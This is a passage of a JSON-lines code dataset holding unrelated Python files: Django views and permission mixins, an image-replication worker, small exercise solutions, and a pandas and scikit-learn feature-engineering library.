%s -> %s\", src, dest)\n continue\n elif status.startswith(\"Replicating\"):\n logger.info(\"Skipping Replicating Task: %s -> %s\", src, dest)\n continue\n else:\n attempt = int(status.split(\":\")[1])\n statuses[dest] = f\"Replicating:{attempt}\"\n\n result = _replicate_image(config, src, dest)\n\n with lock:\n if result == \"SUCCEEDED\":\n logger.info(\"Replication Complete: %s -> %s\", src, dest)\n statuses[dest] = \"Complete\"\n else:\n logger.error(\n \"Image Replication Attempt %s Failed: %s -> %s\",\n attempt,\n src,\n dest,\n )\n statuses[dest] = f\"Failed:{attempt}\"\n queue.put(replication_task)\n except Empty:\n logger.debug(\"Queue Empty, processing Complete\")\n return 0\n except Exception as e:\n with lock:\n status = statuses[dest]\n attempt = int(status.split(\":\")[1])\n logger.error(\n \"Image Replication Attempt %s Failed: %s -> %s\",\n attempt,\n src,\n dest,\n )\n logger.exception(e)\n statuses[dest] = f\"Failed:{attempt}\"\n finally:\n replication_task = None\n time.sleep(3)\n","sub_path":"images/orbit-controller/src/orbit_controller/image_replication.py","file_name":"image_replication.py","file_ext":"py","file_size_in_byte":14062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221091987","text":"from django.shortcuts import render, redirect\n\nfrom .forms import UserForm, UserProfileForm\n\n# Create your views here.\n\ndef home(request):\n\treturn render(request, 'base.html')\n\ndef cadastro_usuario(request):\n\tif request.method == 'POST':\n\t\tuser_form = UserForm(request.POST)\n\t\tprofile_form = UserProfileForm(request.POST)\n\n\t\tif user_form.is_valid() and profile_form.is_valid():\n\t\t\tuser = user_form.save()\n\t\t\tuser.set_password(user.password)\n\t\t\tuser.save()\n\t\t\tprofile = profile_form.save(commit=False)\n\t\t\tprofile.user = user\n\n\t\t\tif 'foto' in request.FILES:\n\t\t\t\tprofile.foto = request.FILES['foto']\n\n\t\t\tprofile.save()\n\t\t\treturn redirect('core:usuariosucesso')\n\t\telse:\n\t\t\tprint(user_form.errors, profile_form.errors)\n\telse:\n\t\tuser_form = UserForm()\n\t\tprofile_form = UserProfileForm()\n\n\treturn render(request, 'core/cadastro_usuario.html',\\\n\t\t{'user_form': user_form, 'profile_form': profile_form})\n\ndef sucesso_usuario(request):\n\treturn render(request, 'core/sucesso_usuario.html')","sub_path":"mutirao/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"537207765","text":"#!/usr/bin/env python\r\n# Practice Python Ex 6 String Lists\r\n# http://www.practicepython.org/exercise/2014/03/12/06-string-lists.html\r\n\r\n__author__ = \"N Langley\"\r\n__version__ = \"4/4/18\"\r\n\r\npalin = str(input(\"Enter a palindrome: \"))\r\nrpalin = palin[::-1]\r\n\r\nif palin == rpalin:\r\n print(palin + \" is a Palindrome!\")\r\nelse:\r\n print(palin + \" is not a Palindrome\")","sub_path":"PP_Ex6_String_Lists.py","file_name":"PP_Ex6_String_Lists.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"479505920","text":"from typing import List\n\n\"\"\"\nhttps://leetcode.com/problems/two-sum-ii-input-array-is-sorted/submissions/\n\"\"\"\n\n\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n def binarysearch(gte_idx, lte_idx, t_val):\n if gte_idx <= lte_idx:\n mid_idx = (gte_idx + lte_idx) // 2\n mid_val = numbers[mid_idx]\n\n if t_val < mid_val:\n return binarysearch(gte_idx, mid_idx - 1, t_val)\n elif t_val > mid_val:\n return binarysearch(mid_idx + 1, lte_idx, t_val)\n else:\n return mid_idx\n else:\n return -1\n\n for idx, n in enumerate(numbers):\n least = target - n\n\n res_idx = binarysearch(0, len(numbers) - 1, least)\n\n if res_idx != idx and res_idx != -1:\n return sorted([idx + 1, res_idx + 1])\n\n return [-1, -1]\n","sub_path":"archive-dhkim/leetcode/ch18_binary_search/prob68_two-sum-ii-input-array-is-sorted.py","file_name":"prob68_two-sum-ii-input-array-is-sorted.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"260939443","text":"# -*- coding: utf-8 -*-\nfrom copy import deepcopy\n\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.db.models.query import QuerySet\n\nfrom ralph.lib.mixins.forms import RequestFormMixin\nfrom ralph.lib.permissions.models import PermissionsForObjectMixin\n\n\nclass PermissionPerFieldAdminMixin(object):\n # TODO: required permissions for add and change\n def get_fieldsets(self, request, obj=None):\n new_fieldsets = []\n fieldsets = super().get_fieldsets(\n request, obj\n )\n\n def condition(field):\n can_view = self.model.has_access_to_field(\n field, request.user, 'view'\n )\n can_change = self.model.has_access_to_field(\n field, request.user, 'change'\n )\n return can_view or can_change\n for fieldset in deepcopy(fieldsets):\n fields = [\n field for field in fieldset[1]['fields']\n if condition(field)\n ]\n if not fields:\n continue\n fieldset[1]['fields'] = fields\n new_fieldsets.append(fieldset)\n return new_fieldsets\n\n def get_readonly_fields(self, request, obj=None):\n \"\"\"Return read only fields respects user permissions.\"\"\"\n can_view = self.model.allowed_fields(request.user, 'view')\n can_change = self.model.allowed_fields(request.user, 'change')\n return list(\n (can_view - can_change) |\n set(super().get_readonly_fields(request, obj))\n )\n\n def get_form(self, request, obj=None, **kwargs):\n \"\"\"Return form with fields which user have access.\"\"\"\n form = super().get_form(request, obj, **kwargs)\n user_allowed_fields = self.model.allowed_fields(request.user)\n forbidden_fields = set(form._meta.fields or []) - user_allowed_fields\n if forbidden_fields:\n for field in forbidden_fields:\n form.Meta.fields.remove(field)\n return form\n\n def get_list_display(self, request):\n \"\"\"Return fields with respect to user permissions.\"\"\"\n list_display = [\n field for field in self.list_display\n if self.model.has_access_to_field(\n field, request.user, action='view'\n )\n ]\n\n return list_display or ['__str__']\n\n\nclass PermissionsPerObjectFormMixin(RequestFormMixin):\n def _check_foreign_keys_permissions(self):\n \"\"\"\n Check if user has permission to save chosen related models\n (ex. ForeignKeys).\n \"\"\"\n for field_name, field in self.fields.items():\n value = []\n if (\n isinstance(field, forms.ModelChoiceField) and\n issubclass(field.queryset.model, PermissionsForObjectMixin)\n ):\n value = self.cleaned_data.get(field_name)\n if value and not isinstance(value, (list, tuple, QuerySet)):\n value = [value]\n if field_name in self.fields and value:\n for obj in value:\n if not obj.has_permission_to_object(self._user):\n self.add_error(field_name, ValidationError(\n \"You don't have permissions to select this value\"\n ))\n\n def clean(self):\n super().clean()\n self._check_foreign_keys_permissions()\n\n\nclass PermissionPerObjectAdminMixin(object):\n \"\"\"\n Admin mixin cooperating with\n `ralph.lib.permissions.models.PermissionsForObjectMixin`\n \"\"\"\n def _check_obj_permission(self, request, obj=None):\n \"\"\"\n Returns True if user has access to object.\n \"\"\"\n obj_permission = True\n if obj and isinstance(obj, PermissionsForObjectMixin):\n obj_permission = obj.has_permission_to_object(request.user)\n return obj_permission\n\n def has_change_permission(self, request, obj=None):\n return (\n super().has_change_permission(request, obj) and\n self._check_obj_permission(request, obj)\n )\n\n def has_delete_permission(self, request, obj=None):\n return (\n super().has_change_permission(request, obj) and\n self._check_obj_permission(request, obj)\n )\n\n def get_queryset(self, request):\n \"\"\"\n If model has object-level permissions, narrow queryset to object\n to which user has permissions.\n \"\"\"\n queryset = super().get_queryset(request)\n if issubclass(self.model, PermissionsForObjectMixin):\n queryset = self.model._get_objects_for_user(request.user, queryset)\n return queryset\n\n def get_field_queryset(self, db, db_field, request):\n \"\"\"\n For each related field (foreign key) which has object-level permissions\n narrow result to objects for which user has permissions.\n \"\"\"\n queryset = super().get_field_queryset(db, db_field, request)\n related_model = db_field.rel.to\n if issubclass(related_model, PermissionsForObjectMixin):\n queryset = related_model._get_objects_for_user(\n request.user, queryset\n )\n return queryset\n\n\nclass PermissionAdminMixin(\n PermissionPerFieldAdminMixin,\n PermissionPerObjectAdminMixin\n):\n pass\n","sub_path":"src/ralph/lib/permissions/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"295492153","text":"# coding: utf-8\n\nimport tensorflow as tf\n\nfrom utils import get_shape\n\n\ndef doubleQ(qf1, qf2):\n actions = get_shape(qf1)[-1]\n a = tf.argmax(qf2, axis=-1)\n a_onehot = tf.one_hot(a, depth=actions, dtype=tf.float32)\n q = tf.reduce_sum(qf1 * a_onehot, axis=-1)\n return q\n","sub_path":"module/doubleQ.py","file_name":"doubleQ.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"424290241","text":"import math,time, itertools\ndef isPrime(n):\n if n == 1:\n return False\n for i in range(2, int(math.sqrt(n)) + 1):\n if n%i == 0:\n return False\n return True\n\ndef gen_n_digit_pandigit_prime(n):\n result = []\n arr = ''\n for i in range(1,n+1):\n arr += str(i)\n lst = list(itertools.permutations(arr, n))\n for i in range(len(lst)):\n num = ''\n for j in range(n):\n num += lst[i][j]\n if isPrime(int(num)):\n result.append(int(num))\n result.sort()\n if len(result) == 0:\n return None\n return result[-1]\n\ndef problem_41():\n result = []\n for i in range(4, 9):\n added = gen_n_digit_pandigit_prime(i)\n if added != None:\n result.append(added)\n return result[-1]\n\nstart = time.time()\nprint(problem_41())\nelapsed = time.time() - start\nprint('Result found in %f seconds'%(elapsed))","sub_path":"Problem 41.py","file_name":"Problem 41.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"644854096","text":"import itertools\nimport random\nimport re\n\nimport category_encoders as ce\nimport nltk\nimport numpy as np\nimport pandas as pd\nimport sklearn\nfrom fancyimpute import KNN\nfrom gensim import corpora\nfrom gensim.models import KeyedVectors\nfrom keras.preprocessing.text import Tokenizer\nfrom nltk import ngrams, word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import *\nfrom nltk.tag import AffixTagger\nfrom scipy.spatial import distance\nfrom scipy.stats import boxcox\nfrom sklearn.decomposition import PCA, LatentDirichletAllocation, TruncatedSVD\nfrom sklearn.ensemble import RandomTreesEmbedding\nfrom sklearn.feature_extraction import FeatureHasher\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.manifold import TSNE, LocallyLinearEmbedding, SpectralEmbedding\nfrom sklearn.preprocessing import (MinMaxScaler, Normalizer,\n PolynomialFeatures, StandardScaler)\nfrom textstat.textstat import textstat\n\nseed = 1337\n\n\n# Vol 1\ndef label_encode(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n df[categorical_features] = df[categorical_features].apply(\n lambda x: x.cat.codes)\n return df\n\n\ndef hash_encode1(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n hashing_encoder = ce.HashingEncoder(n_components=len(\n categorical_features), cols=categorical_features.tolist())\n df[categorical_features] = hashing_encoder.fit_transform(\n df[categorical_features])\n return df\n\n\ndef hash_encode2(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n hashing_encoder = FeatureHasher(n_features=len(\n categorical_features), input_type='string')\n df[categorical_features] = pd.DataFrame(hashing_encoder.fit_transform(\n df[categorical_features].as_matrix()).toarray())\n return df\n\n\ndef count_encode(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n for i in categorical_features:\n df[i] = df[i].astype('object').replace(df[i].value_counts())\n return df\n\n\ndef labelcount_encode(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n for cat_feature in categorical_features:\n cat_feature_value_counts = df[cat_feature].value_counts()\n value_counts_list = cat_feature_value_counts.index.tolist()\n value_counts_range_rev = list(\n reversed(range(len(cat_feature_value_counts)))) # for ascending ordering\n # for descending ordering\n value_counts_range = list(range(len(cat_feature_value_counts)))\n labelcount_dict = dict(zip(value_counts_list, value_counts_range))\n df[cat_feature] = df[cat_feature].map(labelcount_dict)\n return df\n\n\ndef target_encode(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n for cat_feature in categorical_features:\n group_target_mean = df.groupby([cat_feature])['target'].mean()\n df[cat_feature] = df[cat_feature].astype(\n 'object').replace(group_target_mean)\n return df\n\n\n# Vol 2\ndef polynomial_encode(df2):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n df[categorical_features] = df[categorical_features].apply(\n lambda x: x.cat.codes)\n poly = PolynomialFeatures(degree=2, interaction_only=False)\n df = pd.DataFrame(poly.fit_transform(df))\n return df\n\n\ndef nan_encode(df2):\n df = df2.copy()\n missing_cols = np.sum(pd.isnull(df))[np.sum(\n pd.isnull(df)) >= 1].index.tolist()\n for i in missing_cols:\n df[i] = df[i].replace(df[i].cat.categories.tolist(), 0)\n df[i] = df[i].replace(np.nan, 1)\n return df\n\n\ndef group_featurebyfeature_encode(df2, newvar_name, var1, var2, transformation):\n df = df2.copy()\n categorical_features = df.select_dtypes(\n include=['category']).columns.values\n # label encode categorical features if to be used on categorical features too\n df[categorical_features] = df[categorical_features].apply(\n lambda x: x.cat.codes)\n # determine groups based on var1, then apply a chosen transformation to the groups based on values of var2\n df['{}'.format(newvar_name)] = (df.groupby(var1))[\n var2].transform('{}'.format(transformation))\n return df\n\n\ndef impute_explicit_numerical(df2):\n df = df2.copy()\n df.fillna(-999, inplace=True) # impute with a specified value\n return df\n\n\ndef impute_mean_numerical(df2):\n df = df2.copy()\n numerical_features = df.select_dtypes(include=['number']).columns.values\n for i in numerical_features:\n # impute with mean of each column\n mean = df[i][~np.isnan(df[i])].mean()\n df[i] = df[i].replace(np.nan, mean)\n return df\n\n\ndef impute_median_numerical(df2):\n df = df2.copy()\n numerical_features = df.select_dtypes(include=['number']).columns.values\n for i in numerical_features:\n # impute with median of each column\n mean = df[i][~np.isnan(df[i])].median()\n df[i] = df[i].replace(np.nan, mean)\n return df\n\n\ndef impute_knn_numerical(df2):\n df = df2.copy()\n numerical_features = df.select_dtypes(include=['number']).columns.values\n # impute with mean using KNN algorithm for 5 closest rows\n dfknn = pd.DataFrame(KNN(k=5).complete(df), columns=df2.columns)\n return dfknn\n\n\ndef round_numerical(df2, precision):\n df = df2.copy()\n df = df.round(precision)\n return df\n\n\ndef bin_numerical(df2, step):\n df = df2.copy()\n numerical_features = df.select_dtypes(include=['number']).columns.values\n for i in numerical_features:\n feature_range = np.arange(0, np.max(df[i]), step)\n df[i] = pd.cut(df[i], feature_range, right=True)\n df[i] = pd.factorize(df[i], sort=True)[0]\n return df\n\n\ndef scale_standard_numerical(df2):\n df = df2.copy()\n df = pd.DataFrame(StandardScaler().fit_transform(df), columns=df2.columns)\n return df\n\n\ndef scale_minmax_numerical(df2):\n df = df2.copy()\n df = pd.DataFrame(MinMaxScaler().fit_transform(df), columns=df2.columns)\n return df\n\n\n# Vol 3\ndef locally_linear_embedding_others(df2, n):\n df = df2.copy()\n # specifying the number of manifold dimensions, to which data is mapped\n lle = LocallyLinearEmbedding(n_components=n, random_state=seed)\n df = pd.DataFrame(lle.fit_transform(df))\n return df\n\n\ndef spectral_embedding_others(df2, n):\n df = df2.copy()\n # specifying the number of manifold dimensions, to which data is mapped\n se = SpectralEmbedding(n_components=n, random_state=seed)\n df = pd.DataFrame(se.fit_transform(df))\n return df\n\n\ndef tsne_embedding(df2, n):\n df = df2.copy()\n # specifying the number of manifold dimensions, to which data is mapped\n tsne = TSNE(n_components=n, random_state=seed)\n df = pd.DataFrame(tsne.fit_transform(df))\n return df\n\n\ndef randomtrees_embedding_others(df2):\n df = df2.copy()\n rte = RandomTreesEmbedding(random_state=seed)\n df = pd.DataFrame(rte.fit_transform(df).toarray())\n return df\n\n\ndef row_statistics_others(df2):\n df = df2.copy()\n df['zeros'] = np.sum(df == 0, axis=1)\n df['non-zeros'] = np.sum(df == 0, axis=1)\n df['NaNs'] = np.sum(np.isnan(df), axis=1)\n df['negatives'] = np.sum(df < 0, axis=1)\n df['sum_row'] = df.sum(axis=1)\n df['mean_row'] = df.mean(axis=1)\n df['std_row'] = df.std(axis=1)\n df['max_row'] = np.amax(df, axis=1)\n return df\n\n\ndef interactions_others(df2):\n df = df2.copy()\n cols = df2.columns\n for comb in itertools.combinations(cols, 2):\n feat = comb[0] + \"_plus_\" + comb[1]\n # addition can be changed to any other interaction like subtraction, multiplication, division\n df[feat] = df[comb[0]] + df[comb[1]]\n return df\n\n\ndef target_engineering_others(df2):\n df = df2.copy()\n df['target'] = np.log(df['target']) # log-transform\n df['target'] = (df['target'] ** 0.25) + 1\n df['target'] = df['target'] ** 2 # square-transform\n df['target'], _ = boxcox(df['target']) # Box-Cox transform\n\n # Bin target variable in case of regression\n target_range = np.arange(0, np.max(df['target']), 100)\n df['target'] = np.digitize(df.target.values, bins=target_range)\n return df\n\n\n# Vol 4 - Text\n\nstemmer = snowball.SnowballStemmer('english')\nlemmatizer = WordNetLemmatizer()\nstopwords_eng = stopwords.words('english')\nwords = re.compile(r\"\\w+\", re.I)\n\nmodel = KeyedVectors.load_word2vec_format(\n '/media/w/1c392724-ecf3-4615-8f3c-79368ec36380/DS Projects/Kaggle/Quora/data/embeddings/GoogleNews-vectors-negative300.bin', binary=True)\n\n# Cleaning\n\n\ndef lowercase(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].str.lower()\n return df\n\n\ndef unidecode(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].str.encode('ascii', 'ignore')\n return df\n\n\ndef remove_nonalpha(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].str.replace('\\W+', ' ')\n return df\n\n\ndef repair_words(df2):\n # https://www.analyticsvidhya.com/blog/2014/11/text-data-cleaning-steps-python/\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: (''.join(''.join(s)[:2]\n for _, s in itertools.groupby(x))))\n return df\n\n# Tokenizing\n\n\ndef tokenize(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: word_tokenize(x))\n return df\n\n\ndef ngram(df2, n):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: [i for i in ngrams(word_tokenize(x), n)])\n return df\n\n\ndef skipgram(df2, ngram_n, skip_n):\n def random_sample(words_list, skip_n):\n return [words_list[i] for i in sorted(random.sample(range(len(words_list)), skip_n))]\n\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(\n lambda x: [i for i in ngrams(word_tokenize(x), ngram_n)])\n df[i] = df[i].apply(lambda x: random_sample(x, skip_n))\n return df\n\n\ndef chargram(df2, n):\n # http://stackoverflow.com/questions/18658106/quick-implementation-of-character-n-grams-using-python\n def chargram_generate(string, n):\n return [string[i:i + n] for i in range(len(string) - n + 1)]\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: [i for i in chargram_generate(x, 3)])\n return df\n\n# Removing\n\n\ndef remove_stops(df2, stopwords):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(\n lambda x: [i for i in word_tokenize(x) if i not in stopwords])\n return df\n\n\ndef remove_extremes(df2, stopwords, min_count=3, max_frequency=0.75):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(\n lambda x: [i for i in word_tokenize(x) if i not in stopwords])\n tokenized = []\n for i in text_feats:\n tokenized += df[i].tolist()\n dictionary = corpora.Dictionary(tokenized)\n dictionary.filter_extremes(no_below=min_count, no_above=max_frequency)\n dictionary.compactify()\n df = df2.copy()\n for i in text_feats:\n df[i] = df[i].apply(lambda x: [i for i in word_tokenize(x) if i not in stopwords and i not in\n list(dictionary.token2id.keys())])\n return df\n\n# Roots\n\n\ndef chop(df2, n):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: [i[:n] for i in word_tokenize(x)])\n return df\n\n\ndef stem(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: [stemmer.stem(i)\n for i in word_tokenize(x)])\n return df\n\n\ndef lemmat(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: [lemmatizer.lemmatize(i)\n for i in word_tokenize(x)])\n return df\n\n# Enriching\n\n\ndef extract_entity(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: word_tokenize(x))\n df[i] = df[i].apply(lambda x: nltk.pos_tag(x))\n df[i] = df[i].apply(lambda x: [i[1:] for i in x])\n return df\n\n\ndef doc_features(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i, col in enumerate(text_feats):\n df['num_characters_{}'.format(i)] = df[col].map(\n lambda x: len(str(x))) # length of sentence\n df['num_words_{}'.format(i)] = df[col].map(\n lambda x: len(str(x).split())) # number of words\n df['num_spaces_{}'.format(i)] = df[col].map(lambda x: x.count(' '))\n df['num_alpha_{}'.format(i)] = df[col].apply(\n lambda x: sum(i.isalpha()for i in x))\n df['num_nonalpha_{}'.format(i)] = df[col].apply(\n lambda x: sum(1 - i.isalpha()for i in x))\n return df\n\n\ndef get_readability(df2):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i, col in enumerate(text_feats):\n df['flesch_reading_ease{}'.format(i)] = df[col].apply(\n lambda x: textstat.flesch_reading_ease(x))\n df['smog_index{}'.format(i)] = df[col].apply(\n lambda x: textstat.smog_index(x))\n df['flesch_kincaid_grade{}'.format(i)] = df[col].apply(\n lambda x: textstat.flesch_kincaid_grade(x))\n df['coleman_liau_index{}'.format(i)] = df[col].apply(\n lambda x: textstat.coleman_liau_index(x))\n df['automated_readability_index{}'.format(i)] = df[col].apply(\n lambda x: textstat.automated_readability_index(x))\n df['dale_chall_readability_score{}'.format(i)] = df[col].apply(\n lambda x: textstat.dale_chall_readability_score(x))\n df['difficult_words{}'.format(i)] = df[col].apply(\n lambda x: textstat.difficult_words(x))\n df['linsear_write_formula{}'.format(i)] = df[col].apply(\n lambda x: textstat.linsear_write_formula(x))\n df['gunning_fog{}'.format(i)] = df[col].apply(\n lambda x: textstat.gunning_fog(x))\n df['text_standard{}'.format(i)] = df[col].apply(\n lambda x: textstat.text_standard(x))\n return df\n\n# Similarities & transformations\n\n\ndef token_similarity(df2):\n\n # https://www.kaggle.com/the1owl/quora-question-pairs/matching-que-for-quora-end-to-end-0-33719-pb\n def word_match_share(row, col1, col2, stopwords):\n q1words = {}\n q2words = {}\n for word in str(row[col1]).lower().split():\n if word not in stopwords:\n q1words[word] = 1\n for word in str(row[col2]).lower().split():\n if word not in stopwords:\n q2words[word] = 1\n if len(q1words) == 0 or len(q2words) == 0:\n return 0\n shared_words_in_q1 = [w for w in q1words.keys() if w in q2words]\n shared_words_in_q2 = [w for w in q2words.keys() if w in q1words]\n R = (len(shared_words_in_q1) + len(shared_words_in_q2)) / \\\n (len(q1words) + len(q2words))\n return R\n\n df = df2.copy()\n df['word_match_share'] = df.apply(lambda x: word_match_share(x, 'question1', 'question2', stopwords_eng),\n axis=1, raw=True)\n return df\n\n\ndef word2vec_embedding(df2, model, num_words, num_dims):\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n for i in text_feats:\n df[i] = df[i].apply(lambda x: \" \".join(\n [stemmer.stem(i) for i in word_tokenize(x)]))\n tokenizer = Tokenizer(num_words=num_words)\n tokenizer.fit_on_texts(df['question1'] + df['question2'])\n word_index = tokenizer.word_index\n embedding_matrix = np.zeros((num_words, num_dims))\n for word, i in word_index.items():\n if word in model.vocab:\n embedding_matrix[i] = model.word_vec(word)\n return pd.DataFrame(embedding_matrix)\n\n\ndef distances(df2, model):\n\n # https://github.com/abhishekkrthakur/is_that_a_duplicate_quora_question/blob/master/feature_engineering.py\n def sent2vec(s):\n words = str(s).lower().encode().decode('utf-8')\n words = word_tokenize(words)\n words = [w for w in words if w not in stopwords_eng]\n words = [w for w in words if w.isalpha()]\n M = []\n for w in words:\n try:\n M.append(model[w])\n except Exception as e:\n print(e)\n continue\n M = np.array(M)\n v = M.sum(axis=0)\n return v / np.sqrt((v ** 2).sum())\n\n df = df2.copy()\n question1_vectors = np.zeros((df.shape[0], 300))\n for i, q in (enumerate(df.question1.values)):\n question1_vectors[i, :] = sent2vec(q)\n question2_vectors = np.zeros((df.shape[0], 300))\n for i, q in (enumerate(df.question2.values)):\n question2_vectors[i, :] = sent2vec(q)\n df['cosine_distance'] = [distance.cosine(x, y) for (x, y) in zip(np.nan_to_num(question1_vectors),\n np.nan_to_num(question2_vectors))]\n df['jaccard_distance'] = [distance.jaccard(x, y) for (x, y) in zip(np.nan_to_num(question1_vectors),\n np.nan_to_num(question2_vectors))]\n df['hamming_distance'] = [distance.hamming(x, y) for (x, y) in zip(np.nan_to_num(question1_vectors),\n np.nan_to_num(question2_vectors))]\n return df\n\n\ndef bag_of_words(df2):\n df = df2.copy()\n cv = CountVectorizer()\n bow = cv.fit_transform(df.question1 + df.question2).toarray()\n return pd.DataFrame(bow, columns=cv.get_feature_names())\n\n\ndef tf_idf(df2):\n df = df2.copy()\n tf = TfidfVectorizer()\n tfidf = tf.fit_transform(df.question1 + df.question2).toarray()\n return pd.DataFrame(tfidf, columns=tf.get_feature_names())\n\n\ndef PCA_text(df2, ndims):\n df = df2.copy()\n bow = CountVectorizer().fit_transform(df.question1 + df.question2).toarray()\n pca_bow = PCA(ndims, random_state=seed).fit_transform(bow)\n return pd.DataFrame(pca_bow)\n\n\ndef SVD_text(df2, ndims):\n df = df2.copy()\n bow = CountVectorizer().fit_transform(df.question1 + df.question2)\n svd_bow = TruncatedSVD(ndims, random_state=seed).fit_transform(bow)\n return pd.DataFrame(svd_bow)\n\n\ndef LDA_text(df2, ntopics):\n df = df2.copy()\n bow = CountVectorizer().fit_transform(df.question1 + df.question2)\n lda_bow = LatentDirichletAllocation(\n ntopics, random_state=seed).fit_transform(bow)\n return pd.DataFrame(lda_bow)\n\n\ndef LDA_text2(df2, ntopics):\n cv = CountVectorizer(stop_words='english', min_df=1, max_df=0.999)\n lda = LatentDirichletAllocation(ntopics, random_state=seed, n_jobs=1)\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n cv.fit(df.question1 + df.question2)\n bow = cv.transform(df.question1 + df.question2)\n lda.fit(bow)\n ldas = []\n for i in text_feats:\n bow_i = cv.transform(df[i])\n ldas.append(pd.DataFrame(lda.transform(bow_i), index=df[i]))\n return ldas\n\n\ndef LSA_text(df2, ndims):\n cv = CountVectorizer(stop_words='english', min_df=1, max_df=0.999)\n svd = TruncatedSVD(ndims, random_state=1337)\n normalizer = Normalizer(copy=False)\n df = df2.copy()\n text_feats = df.select_dtypes(include=['object']).columns.values\n cv.fit(df.question1 + df.question2)\n bow = cv.transform(df.question1 + df.question2)\n svd.fit(bow)\n transformed_bow = svd.transform(bow)\n normed_bow = normalizer.fit(transformed_bow)\n svds = []\n for i in text_feats:\n bow_i = cv.transform(df[i])\n svd_i = svd.transform(bow_i)\n normed_i = pd.DataFrame(normalizer.transform(svd_i), index=df[i])\n svds.append(normed_i)\n return svds\n\n\n# Projection onto circle\ndef polar_coords_column(df2, colname, normalize=True):\n df = df2.copy()\n max_val = np.max(df['{}'.format(colname)])\n val_range = np.linspace(0, 360, max_val + 1)\n cat_feature_value_counts = df['{}'.format(colname)].value_counts()\n value_counts_list = cat_feature_value_counts.index.tolist()\n angle_dict = dict(zip(value_counts_list, val_range))\n\n df['{}_raw'.format(colname)] = df['{}'.format(colname)].map(angle_dict)\n df['{}_sin'.format(colname)] = np.sin(df['{}_raw'.format(colname)])\n df['{}_cos'.format(colname)] = np.cos(df['{}_raw'.format(colname)])\n df.drop(['{}_raw'.format(colname)], axis=1, inplace=True)\n if normalize:\n df['{}_sin'.format(colname)] = (df['{}_sin'.format(colname)] - np.min(df['{}_sin'.format(colname)])) / \\\n ((np.max(df['{}_sin'.format(colname)])) -\n np.min(df['{}_sin'.format(colname)]))\n df['{}_cos'.format(colname)] = (df['{}_cos'.format(colname)] - np.min(df['{}_cos'.format(colname)])) / \\\n ((np.max(df['{}_cos'.format(colname)])) -\n np.min(df['{}_cos'.format(colname)]))\n return df\n","sub_path":"scripts/fe_functions.py","file_name":"fe_functions.py","file_ext":"py","file_size_in_byte":22149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"508999749","text":"\n\n#calss header\nclass _CULPRIT():\n\tdef __init__(self,): \n\t\tself.name = \"CULPRIT\"\n\t\tself.definitions = [u'someone who has done something wrong: ', u'a fact or situation that is the reason for something bad happening: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn 